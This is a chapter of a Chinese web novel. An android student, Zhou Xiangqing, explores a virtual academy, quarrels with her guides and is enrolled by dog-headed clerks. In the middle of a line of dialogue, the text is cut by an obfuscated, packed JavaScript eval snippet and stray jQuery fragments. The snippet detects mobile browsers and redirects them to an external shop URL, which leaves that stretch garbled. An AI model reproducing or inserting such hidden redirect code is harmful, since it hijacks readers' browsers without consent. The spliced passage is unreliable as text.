他们居然真的开始走了。


    步行。


    而且是在一个虚拟的、意识的世界中，沿着这条无穷无尽的长廊步行。


    周向青刚到这个世界时，也曾自然而然顺着眼前的路走下去，而不觉得有什么问题；但从黄金树下直接传送到学院楼中之后，她才意识到，在这个世界中步行其实算是一件没什么意义的事情。


    在真实的世界里，你无论干什么都不得不移动你的身体。人们就是为了不浪费这些时间，才发明书信、电话、可视通讯；但如今她明明可以想到哪里就直接到哪里的时候，却又偏偏需要步行。


    而这条长廊里的每一扇门都非常朴素，看上去跟左右的门没有区别，也没有任何标示。窗外的黄金树似乎也没有什么能辨认的变化，永远都是树枝、叶片、果实，再加上那条巨蛇的鳞片在树叶间忽隐互现。林天籁带着他们时而向上，时而向下，时而向左，时而向右，但无论怎么走，都走不到头。


    “我们走对方向了吗？怎么感觉我们一直在原地打转？”周向青忍不住问。


    “我们的确是在原地打转。其实往哪边走都没有区别，站着不动也可以。只不过走一走，更像那么回事吧。”林希声道。


    “所以这就像是一个读取数据的过程？无论你想去那里，都需要在这里走几圈，等待内容加载完成？”


    “差——不多吧。”林希声说。


    “不，一开始没这么慢，现在越来越慢了。因为有些没用的家伙在挤占我们的信道。”林天籁说。


    “那我去任何地方都得经过这里吗？”周向青问。


    “也不完全是。其实是这样的——”林希声整理了一下措辞，说道：“首先，无论你‘想去’哪里，先得‘知道’你想去哪里。这里的每个区域都是独立的，而你需要先‘知道’它，才能进去。否则它对于你来说就是不存在的。如果你不知道你自己想去的地方是什么概念，门后只会是一片空白。”林希声停下了脚步，伸手拉开了自己身边的门。


    那扇门后的确是一片空白。它不是那种画面涂白的空白，而是本该有什么东西在那里，却被一只看不见的大手取走了的空白。


    “哇哦。”周向青望着门内感叹道。


    “的确有点反直觉。”林希声关上了那扇门。“而其次就是，并不是前往所有区域都需要经过这里。在设计上有一些便道和小道，甚至有的区域并不跟这条长廊直接相通。但具体情况非常复杂，所以也没有必要仔细解释。你可以在这里的学习生活中慢慢了解。说实在的，绝大部分人都不清楚所有的路线。因为根本用不到。”


    “从这个角度看，学院也算是个特殊的游戏了。或许它原本就是用一个游戏的框架制作出来的。”周向青说。


    学院似乎是在虚拟和现实中，选择了一种古怪且特殊的存在方式。周向青记得废坑的傻宝兄弟，不知是哥哥还是弟弟，就有那么一些收集品。上时代的电子游戏里，有很多跑动、坐电梯、或是攀爬藤蔓之类的无意义内容，而且把地图设计得非常复杂。


    而学院这个游戏可以这么理解：只有在发生冲突的时候，系统才会从玩家的记忆中加载拟真的细节，并把她周围变成类似真实世界的环境，加载素材，还有物理效果。而平时，这个系统则只会把他们当作一个个简单的符号，就像棋盘上的棋子，甚至连周围的人都不会出现在他们的视野中，仅有一个白色的影子作为可能存在的标识。而把地图设计得非常复杂的原因，就是为了让大家感觉这仍然是某种真实。


    “谁说不是呢。有的人那是玩得相当开心，不亦乐乎。”林天籁甩来这么一句。他似乎刚才的气还没消，而且也意有所指。


    “算啦，哥哥，不要说这些。”林希声抢断了话茬，又对周向青说：“其实哥哥只是想让大家都在研究上多出力而已。”


    周向青知道，林天籁应该是对学院中做任务、奖励、学习的这一套循环机制有很大意见。她记得自己在环运城的时候，问过姜原和郑筱秋学院的事情。当时郑筱秋说，学院的“老东西”会让学生去干一些脏活，所以学生们只要学到自己想要的内容，就会马上选择毕业离开学院。而学生在学院中学习需要消耗的学时，或者说，沙，就是“干脏活”的奖励。


    郑筱秋似乎并不重视教授派给她的工作，只把它们当作获得学时的工具，心理上十分抵触。而林天籁却非常上心，以至于对姜原口出恶言。这不免让周向青有点好奇，这些所谓的任务到底是什么东西。她知道，姜原之所以会出现在环运城，是因为那份世界政府的文档。她还记得姜原曾经去教会石岗城附近的遗迹，回收仿生人。从这两项任务来看，姜原替教授们做的都是跟自动化相关，有小有大的事情。


    从这点看，姜原属于自动化学院的可能性很高。而柳怀石对仿生人如此熟悉，也多半是自动化学院的人。那么，柳怀石的上级，沈愈，也是自动化学院的人，应该算是一个合理的推论。这样的话……她可能需要加入自动化学院，才能打探到更多内容。


    但这都是后面的事情。


    “现在我们准备去哪里呢？”周向青问。


    “已经到了。”林天籁从她身边挤过来，握住门把手一拧。


    门□□出的亮光一瞬间包围了周向青，然后又慢慢退去。她用力眨巴着双眼，但仍然过了好一阵，才跟上这种光照的变化。


    他们其实从刚才停下来之后，就没有动过。周向青面前的门，仍旧是林希声刚才打开又关上的门。但如今，她的脚下已经从白色坚实的地板变成了黑暗幽深的水潭。水潭之下，一条璀璨闪耀的光芒之河径直穿过她的脚底，流向远方。恍惚间，周向青还以为那是天空中银河的倒影。但脚下的光河与夜空中的繁星并不相同：天上群星的方位一刻不停地经转不息，但每一年到头又会回到起点；而脚下的光河则是几十上百年如一日地沿着水脉默默流淌，但一旦变化，就是凶猛地越过河床，开拓出一条全新的河道。


    虽然这百余年的变化在她眼中只是一瞬间，周向青仍然被这奇观征服了。她没想到居然学院中有如此美妙的所在。


    “这到底是什么地方？”她问。


    “学院的核心，”林天籁说，“储存知识的资料库，另一种意义的大图书馆。每一个学生通过实践收集资料交给教授们，然后教授们把实验成果提炼成有用的知识，然后储存在这里。这样，无论哪个学生需要了解世界的真相，就可以从前人的积累中汲取营养，然后再通过一样的方式帮助其他人。”


    “所以这无数的光点，就是你们已经发现的知识。”周向青由衷赞叹。


    “笨蛋，当然不是啦。”林天籁大声嘲笑，却不知道周向青只是在比喻。“这是用可视化的方式告诉你学院最主要的规则。但这个画面给我一种强烈的责任感。所以我讨厌王鲤渊，以及姜……那些不认真看待学院任务的人。他们不在乎学院。他们也不在乎自动化的前途，甚至可以说，他们不在乎学习。他们会来学院，只是为了捞点好处，为了他们自己。”


    “知无不朽，识无不穷，不穷不朽，唯学为能。”周向青喃喃默念那个巨人老铁匠的话。林天籁的话让她联想到了那个场景。


    “这就是学院的格言。”林天籁骄傲道。


    “但他们害死了无数人。不朽还是逃跑。我是谁。孩子里一半的一半……”周向青继续喃喃道。她感觉到，那个巨人老铁匠的确是在向她传递某种信息。只是她当时还并不明白对方在说什么，而她现在仍然不明白。那大概的确是学院中的某个地方，只是……


    “哈——？”林天籁的语气变了。


    “啊，抱歉，我一时出神了。”周向青一惊，急忙道歉。但已经太晚了。


    “如果你对学习有意见，那你还是直接去教务处报到吧。我也没必要在你身上浪费时间。”林天籁怒道。


    “啊？你这就不干了？”林希声问。


    “反正也没什么好看的不是吗？再怎么走也就是原地转圈圈！你又不帮我说话，就算看了设备库训练场什么的也没有意义。她跟其他人没什么区别，根本不在乎学院，我凭什么在乎她？”林天籁怒骂起来。


    “哥，你这样就跟王鲤渊没什么区别了。”林希声道。


    “去你妈的。”


    周向青颇为尴尬。“请别吵架啦，我的确不对。但我也算是见识到学院的情况了，我自己可以再随便看看，然后去教务处报到，你们也不是必须得陪我——”


    “好吧。那我们陪你一起去教务处，然后——”林希声叹气道。


    “我不去，你自己去！”林天籁摔门而出。


    林希声伸手想拦，但并没有拦住。因为林天籁在跨出门槛的那一瞬间，身体也化为白色的影子，很快消散在空气中了。


    林希声深深吸了一口气，转身对周向青说：“抱歉。我哥哥就是这种脾气。真是对不起你和姜原学长。”


    “没事。这也怪他非要你们过来。我自己其实也不会有事的。”


    “这个嘛……”林希声有点不好意思，但还是笑了笑。“不过我也相信你不会有事。但我哥哥就——”


    周向青眨了眨眼，点点头，道：“你去吧，不用管我。”


    林希声感激地道了谢，也变成了白色的影子，离开了。只剩下周向青自己站在这座光之河的大厅里。眼前的景色的确很美，姜原让她尽量拖到他出来，但她眼下有更加想去的地方。


    她想再见到那位铁匠，问几个问题。


    周向青来到门边。林希声说，想去某个地方，就必须先知道某个地方。她的确是“知道”那个地方的，对吧？周向青握住了门把手。


    她还记得那个古怪的小房子的模样。反正，只要不是什么教授的办公室或者教务处之类的……


    她拉开了门。


    她的面前是一道螺旋状的扶梯。


    实木扶手，拉花金属栏杆，水纹石板台阶，老气且踏实的风格正符合她看到的城堡式的外观。这明显不是那铁匠的小屋与废弃仿生人的原野。


    她走错了地方。周向青想要退出去，但那扇门已经在她背后消失了。她的背后是螺旋扶梯的另外一部分——一直通向上面的钟楼。周向青不由抬头望了望。但这是螺旋扶梯，她什么都看不见，只感到似乎有风从上面吹来。


    这里有点冷。不仅是实木扶手那冰凉坚硬的触感，或是整片整片煞白的墙壁和大理石地面，还包括眼前空无一人的正堂，以及不知何处传来的钢琴叮咚声。这里的气氛与刚才的图书馆迥然相异。作为仅存于数字空间的学院而言，这里拘谨得像是教会的圣堂或是公司的审计庭。


    而且这里的确像是卡比利亚大教堂的布局。


    她所在的螺旋扶梯位于正堂的最末端，左右两翼是长长的拱廊，联通各类房间的同时，还紧紧怀抱着中庭花园。只是这里没有神像和彩色玻璃窗，下面陈列着一些东西，墙上也挂着画像，就像是卡比利亚教堂下面的博物馆。而正前方巨大的门扇之外——她从门缝中已经望见——就是黄金果树。


    这里是教务处的城堡。


    周向青一下猜到了这个让人不快的答案。这也是她最不想来的地方。如果她现在赶快逃到外面去，还来不来得及？


    但这里空无一人。可以想象，如果是现实中的学院，那么每一个到达学院的学生，就是先抵达外面的黄金树下，在悠扬的钟声中，顺着步道走进这个大堂，然后满怀好奇地一个个看过这些展品，才恋恋不舍地根据对应的引导办理手续。这里应该是人声鼎沸，熙熙攘攘。


    但这里的确是空无一人。周向青慢慢从扶梯上走下去，向两边的拱廊张望。除了火箭、卫星、工业机器人、仿生脑、金字塔、青铜鼎、木制面具等各种文物之外，真的一个人都没有。而她面前一个不起眼的角落里，还有一件小小的展品摆在大大的展柜里，柜子上的铭牌写着：无创脑机接口。


    这大概就是学院的起源。


    周向青靠了过去。尽管这不过是数字构成的虚拟影像，但它的镀铜铭牌像是被许多人触摸过一样，有些不均匀的褪色。这让她忍不住怀疑，眼前的一切是不是真的存在于这世界的某个地方。


    周向青忍不住伸出手去。


    “触摸展品，不要。”


    周向青被这个突如其来的声音吓了一跳，急忙缩回了手。她本以为这个空间不会有任何人进来。但如今，她的背后却不知什么时候站了一个人。那人相当高大，几乎挡住了所有的光线，同时粗重的喘息不断滑过她的脖颈。


    “对不起。我还以为，这都只是影像。”周向青仓促间对着空气道歉。


    “影像，会损耗。数据交换，不好清理。你是新生。气味不熟悉。”


    那人在她头顶上方抽了两声鼻子，似乎真的在嗅闻她身上的味道。


    但仿生人也有味道吗？或者说，在虚拟空间也会有味道吗？不，就算有，对方这种举动也未免太过分了。


    周向青慢慢拧过头，望向自己背后。


    在她背后的是一个大概两米高的人。不。是一条两米高的狗。也不对。是一个两米高的，狗头人身的古怪生物。那张圣伯纳犬的脸足有铁锅大小，还流下长长的一道口水挂在嘴角。周向青能闻到对方嘴里喷出来的臭味。或者说，她以为自己能闻到。


    “不是正门。别处进来。”大狗呼哧呼哧抽着鼻子，脑袋转往螺旋扶梯的方向。“先去了内廊。好几个人。”


    “呃……你说的没错。但你说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381550|195405||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    影像也会损耗，数据交换不好清理是什么意思？难道这种文件不是只读的吗？”周向青问。她现在基本确定对方并不是一条真正的狗。这只圣伯纳犬不过是对方在这个世界中选择的形象，而狗鼻子嗅闻的也不是她的“味道”，而是类似浏览记录、访问记录的东西。这只是一种表现方式。嗯，总比公司铸造局那种登记方式强。


    “仿生人新生。学院引荐人……姜原。履历良好。无不良记录。”大狗并没有回答她的问题，而是低下硕大的脑袋凑到她的手边，嗅闻她手上的学院戒指。周向青几乎感到那狗嘴里的口水流上了自己的指尖。她尽可能不去考虑这种事，从狗头上移开目光，然后便看到一条长长的毛尾巴在大狗身后吧嗒吧嗒地晃动。


    虽然对方的确是人类的身体和人类的声音，但无论神态还是动作都更像一条真正的狗。周向青以前也没有亲眼见过狗，她只是知道。眼前的这条圣伯纳犬就跟她的八哥一样，眼神清澈而纯粹，但同时她也因此搞不清对方到底在想什么。


    “入学手续，跟我走。”大狗站直了身子。


    “啊，好。谢谢你。但我想等一会再办手续，现在不太方便。”周向青答道。对方说话的方式也像一条狗。简短，直接，缺少一些环节。虽然她自己也算不上是真正的人类，但她自己说话不会这样。但在这个世界里，她看上去像是一个人，而对方看上去像一只狗。或许这种说话方式只是对方给自己的设定。


    “办手续。”大狗重复道。


    “请问，我也能改变我的模样吗？比如变成——八哥之类的？”周向青问。如果她能够在这个世界里变成一只鸟，那也不错。


    “不能。”大狗说。


    “那你——是怎么换的？你该不会要说，你真就长成这个样子吧？”周向青说到这里，自己先笑了。


    但大狗突然弯下腰来。


    周向青吓了一跳。她还来不及反应，圣伯纳犬已经咬住了她背后的衣领，疾奔过长长的拱廊，一路撞进拱廊末端的一个房间。这狭长而高拱的房间既拥挤又空旷，紧凑排布的一张张办公桌后坐满了各种各样的狗。不，是狗头人身的生物。


    这些生物头都伸着舌头，盯着自己办公桌前的玻璃筒。这些细细长长的玻璃管道从天花板上蔓延过来，分散到每一张办公桌前，然后又三五成群地汇聚到不同位置，通往地下。时不时“嗵”的一声响，就有一个黑乎乎的圆球沿着玻璃管道冲到狗头人面前，然后他们对着圆球细细地闻上一会儿，咬住球，把球放进自己面前桌上的一个圆洞，然后按下按钮。又是“嗵”的一声后，那个圆球就消失在玻璃管道的彼端。


    此时，钢琴的声音早就听不见了。充斥在这个房间里的，是狗尾巴在什么地方悉悉索索的摩擦声、此起彼伏的喘息声、以及玻璃管道那接连不断的嗵嗵气压声。而大狗就叼着周向青，从办公桌之间的过道中穿过，最后把她扔到一只小小的比熊犬旁边。周向青看着眼前的一大片狗山狗海，人已经呆了。


    “新生，报道。”大狗说。


    小比熊叹了口气。“你怎么又把人带到我这里？还嫌我手上的活不够多吗？就不能给秀秀和花花她们分几个人？”


    “她们，满了。”


    “我这里就没满吗？现在大家都是满的，满了以后走流程！提申请盖章报单备份！真是的，一个个懒得跟什么似的，有时间修指甲梳毛但是没时间登记新生，她们就是假装不知道，然后利用你这个大傻狗把活推到我这儿。”


    大狗“嗯”了一声，耷拉下脑袋。“那我，找她们。”他硕大的脑袋垂在比熊犬的头顶上方，看起来比她的整个身子都大。


    “算啦算啦！笨蛋。你都先把人带到我这里了，如果再带过去，她们反而要说我利用你拒绝工作！你记着下次一定要把人推给她们，不能她们说什么你都是是是对对对，哼哼一阵子什么都她们说了算。知道没有？”


    “嗯。”


    “知道了就去吧！真是的，净给人添麻烦。还有你。把戒指给我伸出来。咱们快点啪啪把事办了，耽搁我的进度，说不定今天又得加班才能做完。”小比熊一面说，一面打开旁边的抽屉翻来翻去。


    周向青感觉这种气氛实在有些好笑。虽然姜原那样警告她，但她并不觉得眼前这些人——或者狗，是有敌意的。她把自己戴着戒指的手指伸了出去，同时忍不住翘起了嘴角。


    小比熊拿出跟手电筒一样的东西照了照周向青的手指，然后大概是看到了周向青的表情，就说道：“你也别怪我对他太凶，那家伙别看他憨憨的，其实就是看我好欺负，所以才把人一个劲地送到我这里来。他要真的敢把人送到别人那里，早就被骂惨啦。但我也不是说我不想接待你们什么的，但情况是你后续的所有事务都会交给我负责，一个导员负责十个，另一个负责六个，这就不公平而且也不合适了，对你们也不负责，你说是不是？”


    “是是是。”周向青微笑道。


    “所以说嘛。就算现在超额招生了也应该轮流来，而不是这样乱七八糟的，不然学生提交的内容都不能充分审核，不过这个话这也轮不到我来说，教授们都这么安排了，还是会处理好的。来，张开嘴。”


    周向青张开嘴。小比熊又用手电筒照了照她的牙齿，闻了闻她嘴里的气味。


    仿生人嘴里也有气味吗？


    “反正呢，你也不用担心，好好享受你的学院生活就行了。不论你是想要做自己的研究，还是单纯想要学一点知识，学院都欢迎你。只不过，像你这样的仿生人同学大概最后还是会加入教务处吧？其实你可以考虑一下。毕竟相比之下，想靠科研成绩留在这里比较困难，最近也的确教务有些缺人。不过要加入教务处就得放弃一些东西，而你也有自己的想法。”


    小比熊打开另一个抽屉，从里面取出一个红色的圆球，把圆球在周向青的脸上反复擦了几下，然后把圆球塞进嘴里咬了咬，吐到办公桌上的一个圆洞中，按下按钮。嗵的一声，圆球消失了。小比熊做完这奇怪的事情，说：“好了。记得收下这个。”


    她打开最下面的一个抽屉，取出一个小小扁平盒子。


    盒盖上是学院的徽章——一个插着铁钉和电极的大脑，以及一条盘绕在上面衔着尾巴的蛇。“来，你把它打开。”小比熊说。


    周向青接过小扁盒，打开卡扣。


    盒子里空空如也。


    但她手指上的戒指却亮了起来。


    细小的银丝蛇身一瞬间膨胀成金光闪闪的巨蟒，张开血盆大口将周向青吞入腹中，随后扭动身子，钻进小小的扁盒，消失踪影。


    小扁盒啪嗒一声，掉在地上。


    “如果你对教务处有兴趣的话，可以跟我说哦！”小比熊对着盒子里喊道。